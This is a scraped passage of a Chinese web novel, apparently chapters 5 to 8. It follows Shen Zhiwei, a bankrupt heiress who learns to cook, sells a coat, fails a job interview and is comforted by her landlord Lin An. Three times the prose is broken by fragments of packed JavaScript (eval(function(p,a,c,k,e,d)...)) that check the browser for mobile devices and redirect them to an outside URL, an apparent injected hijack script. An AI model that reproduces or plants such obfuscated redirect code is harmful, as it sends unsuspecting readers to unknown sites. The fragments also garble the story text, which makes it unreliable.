她们之间形成了一种奇妙的默契。每天上午十点,沈枝薇准时出现在厨房,穿上那条深蓝色围裙。林荌会把食材准备好,然后站在她身边,用平静的、没有起伏的声音,告诉她该怎么做。 “油热了放姜片。” “料酒沿着锅边淋。” “生抽调味,老抽上色。” “小火慢炖,大火收汁。” 沈枝薇学得很认真。她开始能分辨出不同调料的味道,能掌握火候的大小,能切出均匀的蒜末和姜丝。她的手上开始有细小的伤口,但她不在意,甚至有点喜欢。 那些伤口,像某种勋章。证明她在学习,在努力,在证明她是一个能靠自己活下去的人。 有时候,她们会一起吃饭。林荌做饭,或者沈枝薇做饭。两个人坐在餐桌的两端,安静地吃,偶尔说几句话。 “今天去看房子了?” “嗯,装修进度慢。” “哦。” “你呢?” “投了几份简历,还没回复。” “嗯。” 对话总是很短,很平淡。但沈枝薇不觉得尴尬。她甚至开始享受这种沉默。那种不需要刻意找话题,不需要维持笑容,不需要假装很开心的沉默。 晚上,她们会各自待在房间里。沈枝薇继续投简历,林荌不知道在做什么,有时候能听见她敲键盘的声音,很轻,很有节奏。 沈枝薇问过她在做什么。林荌说,在写东西。 “写什么?” “随便写写。” “小说吗?” “不是。” “那是什么?” “日记。” 沈枝薇就不问了。她觉得,每个人都有自己的秘密。就像她,也从没告诉林荌,她投的那些简历,其实大部分都石沉大海。偶尔有回复的,也都是些月薪三千、需要坐班八小时的工作。 她不是不能做。她只是……不知道该怎么开始。 从云端跌落到泥潭,需要的不仅仅是勇气,还有脱掉那身华丽外衣的决心。而她,还在犹豫。 犹豫着,要不要真的,变成另一个人。 搬进林荌家的第二十一天,沈枝薇接到了第一个面试通知。 是一家小公司的行政助理,月薪三千五,朝九晚五,双休。HR在电话里的声音很甜,问她明天下午两点有没有时间。 沈枝薇说有。 挂了电话,她在房间里坐了很久。然后,她起身,打开衣柜。 衣柜里挂着的,还是她从沈家带出来的那些衣服。羊绒开衫,连衣裙,每一件都价值不菲,但每一件都不适合穿去面试。 她需要一套正装。白衬衫,黑裙子,低跟鞋。 可她没余钱,平日里她都不会出门,做饭的菜钱都是林荌直接算在房租里面。 沈枝薇看着衣柜里的衣服,咬了咬唇。然后,她拿起手机,点开一个二手奢侈品交易的APP。 她选中了一件Burberry的风衣,去年买的,只穿过两次。拍照,上传,标价:八千。 几乎是秒出。对方问能不能再便宜点。沈枝薇说不能。对方说好吧,我要了。 交易定在第二天上午,在附近的一个咖啡馆。 沈枝薇放下手机,靠在衣柜上,闭上眼睛。 一件风衣,八千块。能买很多套正装,能付两个月的房租,能让她……再撑一段时间。 但她心里没有一点轻松的感觉。只有一种沉重的、往下坠的无力感。 那天晚上,林荌做了红烧鱼。鱼是新鲜的鲫鱼,煎得两面金黄,再用生抽、老抽、糖、料酒炖煮,最后撒上葱花。香气飘满整个屋子。 吃饭的时候,沈枝薇很安静。 “怎么了?”林荌问,夹了一筷子鱼肉,剔掉刺,放进沈枝薇碗里。 沈枝薇愣了一下,看着碗里那块雪白的鱼肉。 “没、没什么。”她低下头,小口小口地吃鱼。 鱼肉很嫩,很入味。但她吃不出味道。 “明天我要出门。”林荌说,给自己也夹了一块,“中午不回来吃饭。” 沈枝薇抬起头:“去哪?” “有点事。”林荌说,语气平淡。 沈枝薇哦了一声,不再问。 吃完饭,她主动收拾碗筷。林荌没拦她,只是坐在沙发上,打开电视,看一部很老的电影。 沈枝薇在厨房洗碗。水很烫,泡沫很多。她洗得很慢,很仔细,像是要把每一个碗、每一只盘子,都洗得干干净净。 洗到最后一个盘子的时候,手一滑,盘子掉进水槽,发出清脆的碎裂声。 沈枝薇僵住了。 她看着水槽里碎成几片的瓷盘,脑子里一片空白。 “怎么了?”林荌的声音从客厅传来。 “没、没事!”沈枝薇赶紧说,手忙脚乱地去捡碎片,“盘子……盘子不小心……” 话音未落,指尖传来一阵尖锐的痛。 她倒抽一口冷气,缩回手。食指的指腹被划了一道口子,鲜血立刻涌出来,滴进水槽,晕开一片淡红。 “别动。”林荌已经走进厨房,抓住她的手,拉到水龙头下冲洗。 冷水冲过伤口,刺得沈枝薇一哆嗦。 “有创可贴吗?”林荌问,声音很冷静。 沈枝薇摇头。 林荌关掉水,抽了张纸巾按住她的伤口,然后拉着她往客厅走。 “坐着。”她把沈枝薇按在沙发上,转身去电视柜下面翻找。 沈枝薇坐在那里,看着自己的手指。纸巾被血浸透,红得刺眼。 林荌回来了,手里拿着一个小药箱。她坐在沈枝薇旁边,打开药箱,拿出碘伏、棉签、创可贴。 “手给我。”她说。 沈枝薇把手递过去。林荌握住她的手腕,动作很轻,但很稳。她用棉签蘸了碘伏,小心地擦拭伤口。 碘伏擦在伤口上,有点刺痛。沈枝薇咬住下唇,没出声。 林荌看了她一眼,手上的动作更轻了。 擦干净,贴上创可贴。林荌的动作熟练得像做过很多次。 “好了。”她说,松开沈枝薇的手。 沈枝薇看着手指上那个印着小熊图案的创可贴,小声说:“谢谢。” 林荌没说话,开始收拾药箱。她把碘伏的盖子拧紧,棉签扔进垃圾桶,创可贴的包装纸也收好。 然后,她站起来,往厨房走。 “盘子我来收拾。”她说,“你坐着别动。” 沈枝薇想站起来,但林荌已经进了厨房,关上了门。 她坐在沙发上,听着厨房里传来的、收拾碎片的声音,眼眶忽然有点热。 她低下头,看着那个小熊创可贴。 很幼稚的图案。和林荌一点都不搭。 但林荌给她贴上了。 沈枝薇抬起手,用没受伤的那只手,摸了摸创可贴的边缘。 然后,她听见自己的手机响了。 是微信消息的提示音。她拿起来看,是李阿姨发来的。 “小姐,老爷的东西我都整理好了,放在储藏室。您什么时候来拿?” 沈枝薇盯着那条消息,看了很久。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375406|200077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 然后,她打字回复:“明天上午。地址发我。” 厨房的门开了。林荌走出来,手里拿着垃圾桶,里面是碎瓷片。 “收拾好了。”她说,把垃圾桶放回原位,然后去洗手。 沈枝薇站起来,走到她身边。 “林荌。”她叫。 “嗯?”林荌擦干手,转过身。 “我明天……”沈枝薇说,声音很轻,“我明天上午要出去一趟。” “嗯。”林荌点头,“几点回来?” “不确定。”沈枝薇说,“可能……下午吧。” “好。”林荌说,没问去哪,去干什么。 沈枝薇反而有些不安。她张了张嘴,想说点什么,但林荌已经转身往房间走了。 “早点睡。”她说,然后关上了门。 沈枝薇站在客厅里,看着那扇紧闭的门,心里空落落的。 她回到房间,关上门,倒在床上。 手指上的伤口还在隐隐作痛。她抬起手,看着那个小熊创可贴,看了很久。 然后,她闭上眼睛。 第二天上午九点,沈枝薇出门了。 她穿了件简单的T恤和牛仔裤,背了个帆布包,没戴任何首饰。脸上干干净净,只涂了点口红。 交易地点在小区附近的一个咖啡馆。她到的时候,对方已经在了。是个年轻女孩,打扮得很时髦,背着一只香奈儿的流浪包。 沈枝薇走过去,在她对面坐下。 “沈小姐?”女孩问。 沈枝薇点头,把装着风衣的纸袋递过去。 女孩打开看了看,又摸了摸面料,然后满意地点头:“是正品。钱我微信转你?” “好。”沈枝薇说。 女孩拿出手机,操作了一会儿。沈枝薇的手机震动了一下,她拿出来看,八千块,到账了。 “合作愉快。”女孩站起来,拿起纸袋,“以后有别的,也可以联系我。” 沈枝薇笑了笑,没说话。 女孩走了。沈枝薇坐在原地,看着窗外来来往往的行人,坐了很久。 然后,她起身,去了附近的商场。 她买了一套正装。白衬衫,黑裙子,一双低跟鞋。又买了一个简单的通勤包。总共花了一千二。 拎着购物袋走出商场的时候,沈枝薇抬头看了看天。 天很蓝,阳光很好。但她觉得有点冷。 她拦了辆出租车,报了个地址。是城西的一个老旧小区,李阿姨现在工作的地方。 车开了四十分钟,停在小区门口。沈枝薇下车,按着李阿姨给的地址,找到了那栋楼。 楼很旧,墙皮斑驳,楼道里堆满了杂物。她爬上五楼,敲了敲门。 门开了,李阿姨站在门口,看见她,眼圈立刻红了。 “小姐……”她叫了一声,声音哽咽。 “李姨。”沈枝薇笑了笑,走进屋。 屋子很小,一室一厅,但收拾得很干净。客厅的沙发上堆着几个纸箱,上面贴着标签:老爷的衣服,夫人的首饰,小姐的东西。 “我都整理好了。”李阿姨拉着沈枝薇的手,上下打量她,“你瘦了。” “没有。”沈枝薇摇头,目光落在那些纸箱上,“就这些吗?” “就这些了。”李阿姨叹气,“其他的,都被收走了。这些还是我偷偷藏起来的,不然……” 她没说完,但沈枝薇明白。 “谢谢李姨。”沈枝薇说,声音有点哑。 “谢什么。”李阿姨抹了抹眼睛,“小姐,你以后……打算怎么办?” “找工作。”沈枝薇说,蹲下来,打开一个纸箱。 “先生活下去。” 6. 第 6 章 纸箱里是她的东西。几件衣服,几本书,一些小时候的玩具,还有一本相册。 她拿起相册,翻开。第一页就是她五岁生日时的照片。她穿着公主裙,戴着王冠,坐在巨大的蛋糕前,笑得眼睛弯成月牙。爸爸站在她左边,妈妈站在她右边,两个人都笑着看着她。 那时候,一切都很好。 沈枝薇合上相册,放回纸箱。 “这些我先带走。”她说,“衣服和首饰,李姨,你帮我处理掉吧。能卖多少卖多少,钱你留着。” “那怎么行!”李阿姨急了,“这些都是夫人留给你的——” “我现在用不上。”沈枝薇打断她,声音很平静,“而且,我也没地方放。” 李阿姨看着她,眼圈又红了。 “小姐……” “李姨。”沈枝薇站起来,握住她的手,“别叫我小姐了。沈家已经没了,我也不是小姐了。” 李阿姨的眼泪掉下来。 沈枝薇抱了抱她,然后抱起那个装着自己东西的纸箱。 “我走了。”她说,“李姨,你保重。” “小姐……”李阿姨追到门口,“你、你住在哪里?过得好不好?有没有人欺负你?” 沈枝薇回头,对她笑了笑。 “我很好。”她说,“住在朋友家,没人欺负我。” 然后,她转身下楼。 走出楼道,阳光刺眼。沈枝薇眯了眯眼睛,抱紧了怀里的纸箱。 纸箱不重,但她觉得每一步都很沉。 她拦了辆出租车,回林荌家。 路上,她接到面试公司的电话,问她下午两点能不能准时到。她说能。 挂掉电话,她看着窗外飞逝的街景,忽然觉得很累。 很累很累。 沈枝薇回到林荌家的时候,是中午十二点。 她开门进去,屋里很安静。林荌不在,应该还没回来。 她抱着纸箱走进房间,关上门,把纸箱放在地上。然后,她脱掉鞋子,倒在床上,闭上眼睛。 很累,但睡不着。 脑子里乱糟糟的。一会儿是面试,一会儿是那件风衣,一会儿是李阿姨红了的眼眶,一会儿是纸箱里的相册。 还有林荌。林荌给她贴创可贴的样子,林荌教她做菜的样子,林荌说“你欠我十块”的样子。 沈枝薇翻了个身,把脸埋进枕头里。 枕头上有很淡的洗衣液的味道,和林荌身上的味道一样。 她深吸一口气,然后坐起来,开始准备面试。 洗澡,洗头,吹干,化妆。妆化得很淡,但很精致。粉底,眉毛,眼线,睫毛,口红。每一步都很认真,像是在完成某种仪式。 然后,她穿上新买的正装。白衬衫,黑裙子,低跟鞋。站在镜子前,打量自己。 镜子里的女人,很陌生。妆容精致,衣着得体,但眼睛里没有光。 沈枝薇看着镜子里的自己,看了很久。 然后,她转身,拿起包,走出房间。 客厅里,林荌回来了。她坐在沙发上,手里拿着平板电脑,听见声音,抬起头。 目光在沈枝薇身上停留了三秒。 “面试?”她问。 “嗯。”沈枝薇点头,拉了拉裙摆,“下午两点。” 林荌放下平板,站起来,走到她面前。 “衬衫最上面那颗扣子,解开。”她说。 沈枝薇愣了一下,然后照做。解开最上面的扣子,露出一点点锁骨。 “头发,扎起来。”林荌又说。 沈枝薇把披散的头发扎成低马尾。 林荌看了她一会儿,然后说:“可以了。” 沈枝薇低下头,小声说:“谢谢。” “几点结束?”林荌问。 “不知道。”沈枝薇说,“可能……四五点吧。” “嗯。”林荌点头,“晚上想吃什么?” 沈枝薇抬起头,看着她。 林荌的表情很平静,像是在问“今天天气怎么样”。 “随便。”沈枝薇说。 “那就做你昨天学的那道,蒜蓉蒸虾。”林荌说,“材料我都买好了,在冰箱里。” 沈枝薇的心,轻轻动了一下。 “好。”她说。 林荌重新坐回沙发上,拿起平板。 沈枝薇站在门口,看着她。 “林荌。”她叫。 “嗯?” “我走了。” “嗯。”林荌没抬头,“路上小心。” 沈枝薇拉开门,走了出去。 门关上。 林荌抬起头,看着那扇关上的门,看了很久。 然后,她放下平板,走到沈枝薇的房间门口。 门没锁。她推开门,走进去。 房间很整洁,床铺得平整,书桌上什么都没有。只有地上,放着一个纸箱。 林荌走过去,蹲下来,看着那个纸箱。 纸箱没封,她能看见里面的东西。几件衣服,几本书,一本相册。 她伸出手,翻开相册。 第一页,是沈枝薇五岁生日的照片。她穿着公主裙,戴着王冠,笑得灿烂。父母站在她身边,一脸宠溺。 林荌一页一页地翻过去。十岁,十五岁,二十岁。每一张照片里,沈枝薇都在笑,笑得明媚,笑得张扬,笑得无忧无虑。 直到最后一页。 最后一页是空白的。 林荌合上相册,放回纸箱。 然后,她站起来,走出房间,轻轻关上门。 她回到客厅,在沙发上坐下,拿起平板。 平板上是沈枝薇的简历。她不知道从哪里找到的,也许是沈枝薇投简历的时候,不小心发错了邮箱。 简历很漂亮。名校毕业,精通三门外语,有海外交换经历,实习单位都是名企。 但工作经验那一栏,是空的。 林荌看着那份简历,看了很久。 然后,她关掉平板,起身走到阳台。 阳台上的绿植长得很好,郁郁葱葱。她拿起喷壶,给它们浇水。 水珠落在叶子上,滚落,消失。 林荌看着那些绿植,忽然想起沈枝薇第一天搬进来时的样子。穿着八千块的开衫,拎着Celine的帆布包,眼睛红红的,像只受惊的小兔子。 那时候,她觉得这小骗子演技不错。 现在,她觉得,也许那不是演技。 也许,那只是一个人在坠落的途中,本能地抓住最后一根稻草。 哪怕那根稻草,是另一个人的怜悯。 林荌放下喷壶,回到客厅。 她拿起手机,拨通了一个号码。 “陈律师。”她说,“沈家那个案子,现在什么情况?” 沈枝薇的面试,很不顺利。 公司很小,在一栋写字楼的十七层,办公室只有一百多平,十几个工位挤在一起,空气里弥漫着外卖和复印机的味道。 面试她的是个中年男人,秃顶,戴着厚厚的眼镜。他看了沈枝薇的简历,又看了看沈枝薇本人,眼神在她身上停留了很久。 “沈小姐条件很好啊。”他说,推了推眼镜,“怎么会想来我们这种小公司?” 沈枝薇坐得很直,双手放在膝盖上,指甲掐进掌心。 “我觉得贵公司很有发展潜力。”她说,声音平稳,带着标准的微笑,“希望能有机会学习。” 男人笑了笑,那笑容让沈枝薇很不舒服。 “我们这里工作强度很大,经常加班,薪水也不高。”他说,身体往前倾,胳膊撑在桌子上,“沈小姐这样的……能吃苦吗?” 沈枝薇维持着微笑:“我可以。” “是吗?”男人靠回椅背,打量着她,“沈小姐以前的生活,应该很优越吧?突然来吃苦,能适应吗?” 沈枝薇的笑容有点僵。 “我能适应。”她说。 男人看了她一会儿,然后说:“行,那先这样。有消息我们会通知你。” 沈枝薇知道,这是没戏了。 她站起来,礼貌地道谢,然后转身离开。 走出办公室,她能感觉到背后那个男人的目光,黏在她身上,像甩不掉的蛛网。 她加快脚步,走进电梯。电梯门关上,她靠在轿厢壁上,闭上眼睛。 很累。 比想象中还要累。 她走出写字楼,站在路边,看着来来往往的车流,忽然不知道该去哪里。 回林荌家吗?可是现在才下午三点,林荌问起来,她该怎么说? 说面试很顺利?可她的表情一定骗不过林荌。 说面试失败了?那林荌会怎么看她?一个连月薪三千五的工作都找不到的、一无是处的大小姐? 沈枝薇站在路边,站了很久。 然后,她拿出手机,点开地图,搜索最近的商场。 她需要买点东西。什么都行。只要能让她暂时忘记现在的处境,忘记那个男人恶心的目光,忘记沈家已经破产的事实,忘记她是一个连月薪三千五的工作都找不到的、失败的人。 她走进商场,漫无目的地逛。逛化妆品柜台,逛服装店,逛饰品店。她试了一支口红,试了一件裙子,试了一条项链。 每一件都很美,每一件都很适合她。 但每一件,她都买不起。 最后,她停在超市的入口。看着里面推着购物车、来来往往的人,忽然觉得,自己和这个世界格格不入。 她转身,离开商场。 天开始阴了。乌云压下来,空气闷热,像是要下雨。 沈枝薇沿着街道走,不知道要去哪里,只是走着。 然后,她看见了一家咖啡馆。 很眼熟的咖啡馆。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375407|200077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是她上午卖掉风衣的那家。 她走进去,找了个角落的位置坐下。服务员过来,她点了一杯美式。 咖啡很快端上来。很苦,但她喝得很慢,一小口一小口,像是在品尝什么珍馐。 窗外的天越来越暗,终于,雨点落下来。 先是稀疏的几滴,然后越来越密,砸在玻璃窗上,发出噼里啪啦的声响。 沈枝薇看着窗外的雨,看着行人匆匆跑过,看着车辆驶过溅起的水花。 她忽然想起,很多年前的一个雨天。她坐在爸爸的车上,从学校回家。雨很大,雨刷器来回摆动,她还是能看见窗外的世界,一片模糊。 那时候,她觉得安全。因为爸爸在,车是温暖的,家也是温暖的。 现在,爸爸在国外,妈妈也在国外。车没了,家也没了。 只剩下她一个人,坐在陌生的咖啡馆里,喝着一杯二十八块钱的美式咖啡。 沈枝薇低下头,看着杯子里深褐色的液体。 然后,她拿出手机,点开微信。 置顶的聊天框,是林荌。 最后一条消息,是她早上发的:“我走了。” 林荌没回。 沈枝薇盯着那个聊天框,看了很久。 然后,她打字: “面试结束了。” 发送。 等了一分钟,两分钟,五分钟。 没有回复。 沈枝薇关掉屏幕,把手机扣在桌上。 咖啡已经凉了。她端起来,一口喝完。苦味从舌尖蔓延到喉咙,再到胃里。 她站起来,结账,走出咖啡馆。 雨还在下。她没有伞,就这样走进雨里。 雨很大,很快就把她的头发、衣服淋湿了。白衬衫贴在身上,黑裙子也湿透了,低跟鞋里灌满了水,每走一步,都发出噗嗤噗嗤的声音。 路过的人用奇怪的眼神看她。但她不在乎。 她只是走着,一直走,走回林荌家的小区。 保安认识她,给她开了门。她走进电梯,按下二十八楼。 电梯镜子里,映出一个狼狈的女人。头发湿透,贴在脸上,妆容花了,白衬衫变得透明,能看见里面内衣的轮廓。 沈枝薇看着镜子里的自己,忽然笑了。 笑得肩膀都在抖。 电梯门开了。她走出去,走到2801门口,按下密码。 门开了。 屋里很安静,只有雨声敲打窗户的声音。 林荌不在客厅。 沈枝薇脱掉鞋子,赤脚走进去。地上留下一串湿漉漉的脚印。 她走到自己房间门口,推开门,走进去,然后关上门。 背靠着门,缓缓滑坐在地。 地板很凉。但她不在乎。 她坐在地上,抱着膝盖,把脸埋进臂弯里。 肩膀开始颤抖。 起初是无声的,然后,有细碎的呜咽从喉咙里溢出来。 很轻,很小,像受伤的小兽。 门外,传来脚步声。 停在门口。 沈枝薇立刻捂住嘴,屏住呼吸。 敲门声响起。 “沈枝薇。”是林荌的声音,很平静。 沈枝薇不说话。 “开门。”林荌又说。 沈枝薇还是不说话。 门外安静了几秒。然后,钥匙插进锁孔的声音。 门开了。 林荌站在门口,看着坐在地上的沈枝薇。 沈枝薇抬起头,脸上全是水,分不清是雨水还是泪水。 她看着林荌,张了张嘴,想说点什么,但一个字也说不出来。 林荌走进来,蹲在她面前。 她的目光落在沈枝薇湿透的衣服上,落在她花了妆的脸上,落在她红肿的眼睛上。 然后,她伸出手,用指腹擦掉沈枝薇脸上的水。 动作很轻,很温柔。 “面试没过?”她问,声音也很轻。 沈枝薇的眼泪,一下子涌了出来。 她点头,用力点头,眼泪大颗大颗地往下掉。 林荌没说话,只是看着她哭。 看了很久。 然后,她伸手,把沈枝薇拉进怀里。 沈枝薇僵住了。 林荌的怀抱很暖,有很淡的沐浴露的味道,像雪松,又像阳光。 “哭吧。”林荌说,声音在她头顶响起,“哭完就好了。” 沈枝薇的眼泪,掉得更凶了。 她伸手,抓住林荌的衣服,把脸埋进她怀里,放声大哭。 哭她的委屈,哭她的不甘,哭她失去的一切,哭她看不到的未来。 林荌抱着她,轻轻拍着她的背,像在哄一个孩子。 窗外,雨还在下。 哗啦啦,哗啦啦。 像是要把整个世界都洗干净。 8. 第 8 章 第二天上午十点,沈枝薇准时出现在厨房。 她没化妆,素着一张脸,头发扎成丸子头,穿着那件宽大的乐队T恤和短裤——林荌昨天给她的那套。 林荌看了她一眼,目光在她身上停留了两秒,然后移开。 “今天学可乐鸡翅。”她说,从冰箱里拿出食材。 鸡翅已经洗干净了,在案板上摆得整整齐齐。可乐,生抽,老抽,料酒,姜,蒜,葱。 沈枝薇穿上围裙,站在料理台前,等待指令。 “鸡翅两面划刀,方便入味。”林荌说,递给她一把刀。 沈枝薇接过刀,开始给鸡翅划刀。她的动作比之前熟练多了,刀起刀落,每一刀都深浅一致。 林荌站在她身边,看着她操作,没说话。 “然后呢?”沈枝薇问。 “冷水下锅,焯水。”林荌说,“放姜片,料酒,去腥。” 沈枝薇照做。烧水,放鸡翅,放姜片,倒料酒。水开了,浮起一层白沫,她用勺子撇掉,然后把鸡翅捞出来,沥干水分。 “锅里放油,烧热,放鸡翅,煎到两面金黄。”林荌说。 沈枝薇倒油,烧热,放鸡翅。滋啦一声,油花溅起,她下意识地往后躲。 “小心。”林荌伸手,把她往后拉了一步,自己站到锅前,接过锅铲,熟练地翻动鸡翅。 沈枝薇站在她身后,看着她。 林荌的侧脸在厨房的灯光下显得很专注。她的睫毛很长,垂下来的时候,在眼下投出一小片阴影。鼻梁很挺,嘴唇抿成一条直线,下巴的线条利落干净。 她的手臂线条很好看,小臂因为用力而绷紧,能看见流畅的肌肉线条。 沈枝薇看得有点出神。 “看什么?”林荌忽然开口,没回头。 沈枝薇吓了一跳,赶紧移开视线:“没、没什么。” 林荌没再问,继续翻动鸡翅。鸡翅煎到两面金黄,她倒出多余的油,然后倒入可乐,生抽,老抽,料酒,姜片,蒜瓣。 “大火烧开,转小火,炖十五分钟。”她说,盖上锅盖。 厨房里安静下来,只有锅里咕嘟咕嘟的声音,和抽油烟机低沉的嗡鸣。 沈枝薇靠在料理台上,看着林荌。 林荌在洗刚才用过的碗和勺子,动作很利落,很快就把厨房收拾干净了。 “林荌。”沈枝薇叫。 “嗯?” “你那个朋友的公司……叫什么名字?” 林荌擦干手,转过身,靠在料理台上,和她面对面。 “星辉传媒。”她说,“做影视制作的。行政助理,月薪五千,双休,偶尔加班,有项目奖金。” 沈枝薇点点头,又问:“你朋友……是做什么的?” “总监。”林荌说,“负责艺人经纪。你去了,是给她当助理。” “艺人经纪?”沈枝薇愣了一下,“那……我会见到明星吗?” “可能会。”林荌说,语气平淡,“但大部分时间,是处理文件,安排行程,订机票酒店,诸如此类。” 沈枝薇哦了一声,不说话了。 “怎么,不想去?”林荌问。 “不是。”沈枝薇摇头,“只是……我没做过这个,怕做不好。” “没人生来就会。”林荌说,“学就是了。” 沈枝薇看着她,忽然问:“你以前……是做什么的?” 林荌挑眉:“怎么突然问这个?” “就是好奇。”沈枝薇说,“你好像……什么都懂。做饭,收租,还认识做传媒的朋友。” 林荌沉默了几秒。 然后,她说:“我以前,在投行工作。” 沈枝薇睁大眼睛。 “后来呢?” “后来觉得没意思,辞职了。”林荌说,语气很淡,像在说别人的事,“用积蓄买了房子,收租,偶尔接点私活,写写东西,日子过得挺舒服。” 沈枝薇不知道该说什么。 投行。那是多少人挤破头想进去的地方。高薪,高压,高社会地位。但林荌说辞职就辞职了,还说“没意思”。 “为什么……觉得没意思?”沈枝薇问。 林荌看了她一眼,然后移开视线,看向窗外。 “每天对着数字,对着报表,对着永远开不完的会,永远写不完的报告。”她说,声音很平静,“赚很多钱,但没时间花。认识很多人,但没一个能说真话。你觉得,有意思吗?” 沈枝薇不说话了。 她想起沈家还没倒的时候,爸爸也是这样。每天早出晚归,参加不完的应酬,开不完的会,赚很多很多钱,但很少回家吃饭。她过生日,他只能打个电话,说“爸爸在开会,礼物让秘书送给你”。 那时候,她觉得理所当然。因为爸爸要赚钱,要养家,要维持沈家的体面。 但现在,她忽然有点明白了。 明白为什么林荌会选择现在这样的生活。 “那你现在……开心吗?”沈枝微小声问。 林荌转回头,看着她。 看了很久。 然后,她说:“比那时候开心。” 沈枝薇的心,轻轻动了一下。 锅里的可乐鸡翅炖好了。林荌关火,打开锅盖,香气瞬间弥漫开来。 鸡翅呈现出漂亮的焦糖色,汤汁浓稠,咕嘟咕嘟地冒着泡。 “大火收汁,撒葱花。”林荌说,把锅铲递给沈枝薇。 沈枝薇接过,开大火,翻炒鸡翅,让汤汁均匀地裹在每一块鸡翅上。汤汁收干了,她撒上葱花,然后关火,盛盘。 一盘可乐鸡翅,完成了。 色泽诱人,香气扑鼻。 “尝尝。”林荌递给她一双筷子。 沈枝薇夹了一块,吹了吹,送进嘴里。 鸡翅炖得很烂,一抿就脱骨。味道是甜的,带着可乐的香气,咸淡适中,很好吃。 “怎么样?”林荌问。 “好吃。”沈枝薇说,眼睛亮晶晶的,“比我以前吃的都好吃。” “以前吃的都是专业阿姨做的吧?”林荌挑眉。 沈枝薇脸红了,小声说:“嗯……” 林荌摇摇头,自己也夹了一块,吃了一口,然后点头:“还行,出师了。” 沈枝薇笑了,笑得很开心。 那种发自内心的、纯粹的开心。 林荌看着她笑,嘴角也微微扬起。 “下午去面试?”她问。 沈枝薇的笑容淡了一点,点头:“嗯,约了两点。” “衣服准备好了吗?” “准备了。”沈枝薇说,“白衬衫,黑裙子,低跟鞋。” 林荌皱眉:“又是那种?” 沈枝薇愣了一下:“那种……不好吗?” “不适合你。”林荌说,放下筷子,“你等我一下。” 她转身走进自己房间,几分钟后,拿着一套衣服走出来。 一套米白色的西装套装。上衣是修身的小西装,裤子是直筒裤,料子很好,剪裁利落。 “穿这个。”林荌把衣服递给沈枝薇。 沈枝薇接过,摸了摸面料。是羊毛混纺的,手感细腻,垂坠感很好。一看就知道不便宜。 “这……太贵重了。”沈枝薇说,“我……” “借你的。”林荌打断她,“面试完还我。” 沈枝薇看着她,咬了咬唇:“谢谢。” “去试试。”林荌说,“不合身可以改。” 沈枝薇抱着衣服,回到房间,换上。 衣服很合身,像是量身定做的一样。小西装勾勒出她纤细的腰线,直筒裤显得腿又长又直。米白色很衬她的肤色,让她看起来既干练,又不失温柔。 她走到客厅,林荌抬头看她,目光在她身上停留了几秒。 然后,点头:“可以。” 沈枝薇转了个圈:“会不会……太正式了?” “不会。”林荌说,“星辉是传媒公司,对着装要求没那么严格,但也不能太随便。这套刚好。” 沈枝薇低头看着身上的衣服,心里涌起一股复杂的情绪。 林荌连这个都想到了。 “林荌。”她叫。 “嗯?” “你为什么……对我这么好?” 林荌正在收拾餐桌,闻言动作停了一下。 然后,她继续收拾,语气平淡:“有吗?” “有。”沈枝薇说,走到她面前,看着她,“你教我做饭,帮我介绍工作,借我衣服,还……还给我煮姜汤。” 林荌把碗摞在一起,端起来,往厨房走。 “顺手而已。”她说,打开水龙头,“别想太多。” 沈枝薇跟过去,站在厨房门口,看着她洗碗。 水流哗哗,林荌的背影挺拔,肩膀的线条在T恤下若隐若现。 “林荌。”沈枝薇又叫。 “嗯?” “我能问你一个问题吗?” “问。” “你……”沈枝薇顿了顿,声音小了下去,“你有过喜欢的人吗?” 水声停了。 林荌关掉水龙头,转过身,靠在料理台上,看着沈枝薇。 她的表情很平静,但眼睛很深,很沉,像有什么东西在底下翻涌。 “为什么问这个?”她反问。 沈枝薇被她的目光看得有点慌,低下头,手指绞着衣角。 “就是……好奇。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375409|200077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林荌没说话。 厨房里很安静,只有冰箱低沉的嗡鸣。 良久,林荌开口,声音很轻:“有过。” 沈枝薇的心脏,重重地跳了一下。 “然后呢?”她问,声音有点抖。 “然后,”林荌说,语气平淡得像在说今天天气不错,“没然后了。” 沈枝薇抬起头,看着她。 林荌的表情很平静,平静到近乎冷漠。但沈枝薇能感觉到,那平静底下,有什么东西,被她刻意地、用力地压住了。 “她……是什么样的人?”沈枝薇问,声音很轻。 林荌看了她一眼,然后移开视线,看向窗外。 “很优秀,很骄傲,也很……天真。”她说,声音里带着一点很淡的、几乎听不出的情绪,“以为世界是围着她转的,以为只要她想要,就一定能得到。” 沈枝薇的心,一点点沉下去。 “后来呢?”她听见自己问。 “后来,她发现世界不是围着她转的。”林荌说,转回头,看着沈枝薇,“她想要的,她得不到。她拥有的,她也留不住。” 沈枝薇的喉咙发紧。 “然后呢?”她又问,声音更轻了。 “然后,她就走了。”林荌说,语气平淡得像在说别人的故事,“去了很远的地方,再也没回来。” 沈枝薇不知道该说什么。 